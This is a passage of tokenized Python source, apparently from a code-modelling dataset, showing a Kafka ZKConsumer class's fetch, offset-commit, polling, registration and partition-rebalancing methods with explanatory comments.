"offsets_", ")_", "or_", "(_", "None_", "in_", "bps", "\\u", "to", "\\u", "offsets_", "._", "values_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "._", "debug_", "(_", "\"", "Fe", "tch", " ", "call", "ed", " ", "on", " ", "ZK", "Consume", "r", " ", "{", "0", "}\"_", "._", "format_", "(_", "self_", "._", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "\\u", "need", "s", "\\u", "rebalance", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "rebalance", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fin", "d", " ", "where", " ", "we", "'", "re", " ", "startin", "g", " ", "from", ".", " ", "If", " ", "we", "'", "ve", " ", "alr", "ead", "y", " ", "don", "e", " ", "a", " ", "fetch", ",", " ", "we", " ", "use", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "our", " ", "internal", " ", "value", ".", " ", "Thi", "s", " ", "is", " ", "als", "o", " ", "all", " ", "we", " ", "can", " ", "do", " ", "in", " ", "the", " ", "case", " ", "where", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "autoc", "ommit", " ", "is", " ", "off", ",", " ", "sinc", "e", " ", "any", " ", "value", " ", "in", " ", "ZK", " ", "will", " ", "be", " ", "out", " ", "of", " ", "date", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bps", "\\u", "to", "\\u", "offsets_", "=_", "dict_", "(_", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "s", "\\u", "pull", "ed", "\\u", "from", "\\u", "zk_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "need", "s", "\\u", "offset", "\\u", "values", "\\u", "from", "\\u", "zk_", "(_", "bps", "\\u", "to", "\\u", "offsets_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "have", " ", "some", " ", "offset", "s", ",", " ", "but", " ", "we", "'", "ve", " ", "bee", "n", " ", "made", " ", "responsib", "le", " ", "for", " ", "new_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Broker", "Partition", "s", " ", "tha", "t", " ", "we", " ", "need", " ", "to", " ", "look", "up", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "bps", "\\u", "to", "\\u", "offsets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bps", "\\u", "need", "ing", "\\u", "offsets_", "=_", "[_", "bp_", "for_", "bp_", ",_", "offset_", "in_", "bps", "\\u", "to", "\\u", "offsets_", "._", "items_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "offset_", "is_", "None_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ot", "her", "wis", "e", ",", " ", "it", "'", "s", " ", "our", " ", "first", " ", "fetch", ",", " ", "so", " ", "we", " ", "need", " ", "every", "thing_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "bps", "\\u", "need", "ing", "\\u", "offsets_", "=_", "self_", "._", "broker", "\\u", "partitions_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bps", "\\u", "to", "\\u", "offsets_", "._", "update_", "(_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "offset", "s", "\\u", "for_", "(_", "self_", "._", "consume", "r", "\\u", "group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bps", "\\u", "need", "ing", "\\u", "offsets_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "s", "\\u", "pull", "ed", "\\u", "from", "\\u", "zk_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Do", " ", "all", " ", "the", " ", "fetches", " ", "we", " ", "need", " ", "to", " ", "(", "this", " ", "shou", "ld", " ", "get", " ", "replaced", " ", "with", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "multi", "fetch", " ", "or", " ", "perform", "anc", "e", " ", "is", " ", "goi", "ng", " ", "to", " ", "suc", "k", " ", "wind", " ", "late", "r", ").", "..", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "message", "\\u", "sets_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "We", " ", "only", " ", "iterate", " ", "over", " ", "tho", "se", " ", "broker", " ", "partit", "ion", "s", " ", "for", " ", "whi", "ch", " ", "we", " ", "have", " ", "offsets_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "bp_", "in_", "bps", "\\u", "to", "\\u", "offsets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "bps", "\\u", "to", "\\u", "offsets_", "[_", "bp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kaf", "ka_", "=_", "self_", "._", "\\u", "connections_", "[_", "bp_", "._", "broker", "\\u", "id_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "partition_", "=_", "kaf", "ka_", "._", "partition_", "(_", "bp_", "._", "topic_", ",_", "bp_", "._", "partition_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "offset_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "partition_", "._", "late", "st", "\\u", "offset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset", "s", "\\u", "msgs_", "=_", "kaf", "ka_", "._", "fetch_", "(_", "bp_", "._", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", "=_", "bp_", "._", "partition_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "size_", "=_", "max", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "If", " ", "our", " ", "fetch", " ", "fail", "s", " ", "bec", "aus", "e", " ", "it", "'", "s", " ", "out", " ", "of", " ", "range", ",", " ", "and", " ", "the", " ", "values", " ", "came", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "from", " ", "ZK", " ", "original", "ly", " ", "(", "not", " ", "our", " ", "internal", " ", "increment", "ing", "),", " ", "we", " ", "assume", " ", "ZK", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "is", " ", "some", "how", " ", "stale", ",", " ", "so", " ", "we", " ", "just", " ", "gra", "b", " ", "the", " ", "late", "st", " ", "and", " ", "march", " ", "on", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Off", "set", "Out", "Of", "Range_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "offset", "s", "\\u", "pull", "ed", "\\u", "from", "\\u", "zk_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "log_", "._", "error_", "(_", "\"", "Off", "set", " ", "{", "0", "}", " ", "from", " ", "Zoo", "Keep", "er", " ", "is", " ", "out", " ", "of", " ", "range", " ", "for", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "offset_", ",_", "bp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", "=_", "partition_", "._", "late", "st", "\\u", "offset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "error_", "(_", "\"", "Retr", "ying", " ", "with", " ", "offset", " ", "{", "0", "}", " ", "for", " ", "{", "1", "}\"_", "\\u\\u\\uNL\\u\\u\\u_", "._", "format_", "(_", "offset_", ",_", "bp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "s", "\\u", "msgs_", "=_", "kaf", "ka_", "._", "fetch_", "(_", "bp_", "._", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "offset_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "partition_", "=_", "bp_", "._", "partition_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "size_", "=_", "max", "\\u", "size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Ka", "fk", "a", "Error_", "as_", "k", "\\u", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ignore", "\\u", "failures_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "log_", "._", "error_", "(_", "\"", "Ignor", "ing", " ", "fail", "ed", " ", "fetch", " ", "on", " ", "{", "0", "}\"_", "._", "format_", "(_", "bp_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "exception_", "(_", "k", "\\u", "err_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "\\u", "set_", "=_", "Messag", "e", "Set_", "(_", "bp_", ",_", "offset_", ",_", "offset", "s", "\\u", "msgs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "fetches", " ", "bytes", " ", "message", "s", " ", "max", "\\u", "fetch_", "\\u\\u\\uNL\\u\\u\\u_", "old", "\\u", "stats_", "=_", "self_", "._", "\\u", "stats_", "[_", "bp_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stats_", "[_", "bp_", "]_", "=_", "Consume", "r", "Stats_", "(_", "fetches", "_", "=_", "old", "\\u", "stats_", "._", "fetches", "_", "+_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "bytes_", "=_", "old", "\\u", "stats_", "._", "bytes_", "+_", "msg", "\\u", "set_", "._", "size_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "messages_", "=_", "old", "\\u", "stats_", "._", "messages_", "+_", "len_", "(_", "msg", "\\u", "set_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "fetch_", "=_", "max_", "(_", "old", "\\u", "stats_", "._", "max", "\\u", "fetch_", ",_", "msg", "\\u", "set_", "._", "size_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "message", "\\u", "sets_", "._", "append_", "(_", "msg", "\\u", "set_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "result_", "=_", "Fe", "tch", "Result_", "(_", "sorted_", "(_", "message", "\\u", "sets_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "No", "w", " ", "persist", " ", "our", " ", "new", " ", "offsets_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "msg", "\\u", "set_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", "[_", "msg", "\\u", "set_", "._", "broker", "\\u", "partition_", "]_", "=_", "msg", "\\u", "set_", "._", "next", "\\u", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "autocommit_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "commit", "\\u", "offsets_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "commit", "\\u", "offsets_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "save", "\\u", "offset", "s", "\\u", "for_", "(_", "self_", "._", "consume", "r", "\\u", "group_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "bps", "\\u", "to", "\\u", "next", "\\u", "offsets_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "poll_", "(_", "self_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "start", "\\u", "offsets_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "end", "\\u", "offsets_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "poll", "\\u", "interval_", "=_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "max", "\\u", "size_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "retr", "y", "\\u", "limit_", "=_", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "FIX", "ME", ":", " ", "start", "/", "end", ",", " ", "retr", "y", "\\u", "limit", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "msg", "\\u", "set_", "in_", "self_", "._", "fetch_", "(_", "max", "\\u", "size_", "=_", "max", "\\u", "size_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "msg", "\\u", "set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "poll", "\\u", "interval_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "create", "\\u", "consume", "r", "\\u", "id_", "(_", "self_", ",_", "consume", "r", "\\u", "group", "\\u", "id_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "Consume", "r", " ", "ID", " ", "in", " ", "the", " ", "same", " ", "way", " ", "Ka", "fk", "a", "'", "s", " ", "reference", " ", "client", " ", "doe", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hostname_", "=_", "platform_", "._", "node_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ms", "\\u", "sinc", "e\\u", "epoch_", "=_", "int_", "(_", "time_", "._", "time_", "(_", ")_", "*_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "uuid", "\\u", "top", "\\u", "hex_", "=_", "uuid_", "._", "uuid4_", "(_", ")_", "._", "hex_", "[_", ":_", "8_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "consume", "r", "\\u", "uuid_", "=_", "\"{", "0", "}-", "{", "1", "}-", "{", "2", "}\"_", "._", "format_", "(_", "hostname_", ",_", "ms", "\\u", "sinc", "e\\u", "epoch_", ",_", "uuid", "\\u", "top", "\\u", "hex_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\"{", "0", "}\\u", "{", "1", "}\"_", "._", "format_", "(_", "consume", "r", "\\u", "group", "\\u", "id_", ",_", "consume", "r", "\\u", "uuid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "register_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Register", " ", "ours", "elv", "es", " ", "as", " ", "a", " ", "consume", "r", " ", "in", " ", "this", " ", "consume", "r", "\\u", "group", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "register", "\\u", "consumer_", "(_", "self_", "._", "consume", "r", "\\u", "group_", ",_", "self_", "._", "id_", ",_", "self_", "._", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "self", ".\\u", "zk", "\\u", "util", ".", "create", "\\u", "path", "\\u", "if", "\\u", "need", "ed", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Consumer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rebalance", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fig", "ure", " ", "out", " ", "whi", "ch", " ", "broker", "s", " ", "and", " ", "partit", "ion", "s", " ", "we", " ", "shou", "ld", " ", "be", " ", "consum", "ing", " ", "from", ",", "\\", "10", ";", " ", " ", " ", " ", "based", " ", "on", " ", "the", " ", "late", "st", " ", "informati", "on", " ", "abo", "ut", " ", "the", " ", "other", " ", "consumers", " ", "and", " ", "broker", "s", "\\", "10", ";", " ", " ", " ", " ", "tha", "t", " ", "are", " ", "presen", "t", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "We", " ", "register", "ed", " ", "for", " ", "notification", "s", " ", "from", " ", "Zoo", "Keep", "er", " ", "whe", "neve", "r", " ", "a", " ", "broker", " ", "or", " ", "\\", "10", ";", " ", " ", " ", " ", "consume", "r", " ", "enter", "s", " ", "or", " ", "lea", "ves", " ", "the", " ", "pool", ".", " ", "Bu", "t", " ", "we", " ", "usual", "ly", " ", "only", " ", "rebalance", " ", "right", "\\", "10", ";", " ", " ", " ", " ", "bef", "ore", " ", "we", "'", "re", " ", "abo", "ut", " ", "to", " ", "take", " ", "an", " ", "action", " ", "like", " ", "fetch", "ing", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "reb", "alan", "cing", " ", "algo", "rit", "hm", " ", "is", " ", "slight", "ly", " ", "different", " ", "from", " ", "tha", "t", " ", "descri", "bed", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "design", " ", "doc", " ", "(", "most", "ly", " ", "in", " ", "the", " ", "sense", " ", "tha", "t", " ", "the", " ", "design", " ", "doc", " ", "algo", "rit", "hm", " ", "will", "\\", "10", ";", " ", " ", " ", " ", "lea", "ve", " ", "partit", "ion", "s", " ", "unassign", "ed", " ", "if", " ", "there", "'", "s", " ", "an", " ", "une", "ven", " ", "distribu", "tion", "s", ").", " ", "The", " ", "\\", "10", ";", " ", " ", " ", " ", "idea", " ", "is", " ", "tha", "t", " ", "we", " ", "split", " ", "the", " ", "partit", "ion", "s", " ", "as", " ", "eventl", "y", " ", "as", " ", "possib", "le", ",", " ", "and", " ", "if", "\\", "10", ";", " ", " ", " ", " ", "some", " ", "consumers", " ", "need", " ", "to", " ", "have", " ", "more", " ", "partit", "ion", "s", " ", "than", " ", "other", "s", ",", " ", "the", " ", "extra", " ", "\\", "10", ";", " ", " ", " ", " ", "partit", "ion", "s", " ", "alw", "ay", "s", " ", "go", " ", "to", " ", "the", " ", "ear", "lie", "r", " ", "consumers", " ", "in", " ", "the", " ", "list", ".", " ", "So", " ", "you", " ", "coul", "d", "\\", "10", ";", " ", " ", " ", " ", "have", " ", "a", " ", "distribu", "tion", " ", "like", " ", "4", "-", "4", "-", "4", "-", "4", " ", "or", " ", "5", "-", "5", "-", "4", "-", "4", ",", " ", "but", " ", "neve", "r", " ", "4", "-", "4", "-", "4", "-", "5", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Reb", "alan", "cing", " ", "has", " ", "special", " ", "consequ", "ences", " ", "if", " ", "the", " ", "Consume", "r", " ", "is", " ", "doi", "ng", " ", "manu", "al", " ", "\\", "10", ";", " ", " ", " ", " ", "commit", "s", " ", "(", "autoc", "ommit", "=", "Fal", "se", "):", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "1", ".", " ", "Thi", "s", " ", "Consume", "r", " ", "will", " ", "keep", " ", "usi", "ng", " ", "the", " ", "in", " ", "memory", " ", "offset", " ", "state", " ", "for", " ", "all", " ", "\\", "10", ";", " ", " ", " ", "Broker", "Partition", "s", " ", "tha", "t", " ", "it", " ", "was", " ", "alr", "ead", "y", " ", "follow", "ing", " ", "bef", "ore", " ", "the", " ", "rebalance", ".", "\\", "10", ";", " ", " ", " ", " ", "2", ".", " ", "The", " ", "offset", " ", "state", " ", "for", " ", "any", " ", "new", " ", "Broker", "Partition", "s", " ", "tha", "t", " ", "this", " ", "Consume", "r", " ", "is", "\\", "10", ";", " ", " ", " ", "responsib", "le", " ", "for", " ", "after", " ", "the", " ", "rebalance", " ", "will", " ", "be", " ", "read", " ", "from", " ", "Zoo", "Keep", "er", ".", "\\", "10", ";", " ", " ", " ", " ", "3", ".", " ", "For", " ", "tho", "se", " ", "Broker", "Partition", "s", " ", "tha", "t", " ", "this", " ", "Consume", "r", " ", "was", " ", "readi", "ng", " ", "but", " ", "is", " ", "no", "\\", "10", ";", " ", " ", " ", "long", "er", " ", "responsib", "le", " ", "for", " ", "after", " ", "the", " ", "rebalance", ",", " ", "the", " ", "offset", " ", "state", " ", "is", " ", "\\", "10", ";", " ", " ", " ", "simp", "ly", " ", "discard", "ed", ".", " ", "It", " ", "is", " ", "not", " ", "persiste", "d", " ", "to", " ", "Zoo", "Keep", "er", ".", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "So", " ", "there", " ", "is", " ", "no", " ", "guaran", "tee", " ", "of", " ", "single", " ", "delivery", " ", "in", " ", "this", " ", "circum", "stance", ".", " ", "If", " ", "\\", "10", ";", " ", " ", " ", " ", "Broker", "Partition", " ", "1", "-0", " ", "shift", "s", " ", "owner", "ship", " ", "from", " ", "Consume", "r", " ", "A", " ", "to", " ", "Consume", "r", " ", "B", " ", "in", " ", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "rebalance", ",", " ", "Consume", "r", " ", "B", " ", "will", " ", "pick", " ", "up", " ", "from", " ", "the", " ", "last", " ", "manu", "al", " ", "commit", " ", "of", " ", "\\", "10", ";", " ", " ", " ", " ", "Consume", "r", " ", "A", " ", "--", " ", "*", "not", "*", " ", "the", " ", "offset", " ", "tha", "t", " ", "Consume", "r", " ", "A", " ", "was", " ", "at", " ", "whe", "n", " ", "the", " ", "rebalance", "\\", "10", ";", " ", " ", " ", " ", "was", " ", "trigger", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "info_", "(_", "(_", "\"", "Reb", "alance", " ", "trigger", "ed", " ", "for", " ", "Consume", "r", " ", "{", "0", "},", " ", "broker", " ", "partit", "ion", "s", " ", "\"_", "+_", "\"", "bef", "ore", " ", "rebalance", ":", " ", "{", "1", "}\"_", ")_", "._", "format_", "(_", "self_", "._", "id_", ",_", "unicode_", "(_", "self_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "\\u", "rebalance", "\\u", "enabled_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "info_", "(_", "\"", "Reb", "alan", "cing", " ", "disable", "d", " ", "--", " ", "ign", "orin", "g", " ", "rebalance", " ", "request", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Get", " ", "all", " ", "the", " ", "consume", "r", "\\u", "ids", " ", "in", " ", "our", " ", "consume", "r", "\\u", "group", " ", "who", " ", "are", " ", "listen", "ing", " ", "to", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "this", " ", "topic", " ", "(", "this", " ", "include", "s", " ", "us", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "all", "\\u", "topic", "\\u", "consumers", "_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "consume", "r", "\\u", "ids", "\\u", "for_", "(_", "self_", "._", "topic_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "consume", "r", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Whe", "re", " ", "do", " ", "I", " ", "rank", " ", "in", " ", "the", " ", "consume", "r", "\\u", "group", " ", "list", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "all", "\\u", "broker", "\\u", "partitions_", "=_", "self_", "._", "\\u", "zk", "\\u", "util_", "._", "broker", "\\u", "partit", "ion", "s", "\\u", "for_", "(_", "self_", "._", "topic_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "\\u", "index_", "=_", "all", "\\u", "topic", "\\u", "consumers", "_", "._", "index_", "(_", "self_", "._", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "msg", "\\u", "tmpl_", "=_", "\"", "Thi", "s", " ", "consume", "r", " ", "({", "0", "})", " ", "not", " ", "found", " ", "list", " ", "of", " ", "consumers", " ", "\"_", "+_", "\"", "for", " ", "this", " ", "topic", " ", "{", "1", "}:", " ", "{", "2", "}\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "Consume", "r", "Entr", "y", "Not", "Foun", "d", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "\\u", "tmpl_", "._", "format_", "(_", "self_", "._", "id_", ",_", "self_", "._", "topic_", ",_", "all", "\\u", "topic", "\\u", "consumers", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "bp", "\\u", "per", "\\u", "consumer_", "=_", "len_", 